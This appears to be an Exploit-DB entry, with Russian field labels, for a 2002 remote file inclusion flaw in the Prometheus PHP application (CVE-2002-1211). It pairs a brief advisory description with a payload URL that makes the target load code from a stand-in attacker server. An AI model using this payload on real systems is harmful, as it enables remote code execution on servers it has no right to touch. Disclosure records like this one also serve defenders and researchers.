Exploit Jason Orcutt Prometheus 3.0/4.0/6.0 - Remote File Inclusion

[Exploiter]

EDB-ID

21976

Проверка EDB

1. Пройдено

Автор

KAROL WIESEK

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2002-1211

Дата публикации

2002-11-01

source: https://www.securityfocus.com/bid/6087/info

Prometheus is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Prometheus. An attacker may exploit this by supplying a path to a malicious 'autoload.lib' file on a remote host as a value for the 'PROMETHEUS_LIBRARY_BASE' parameter. 

http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE=
http://attackers.server/&PHP_AUTO_LOAD_LIB=0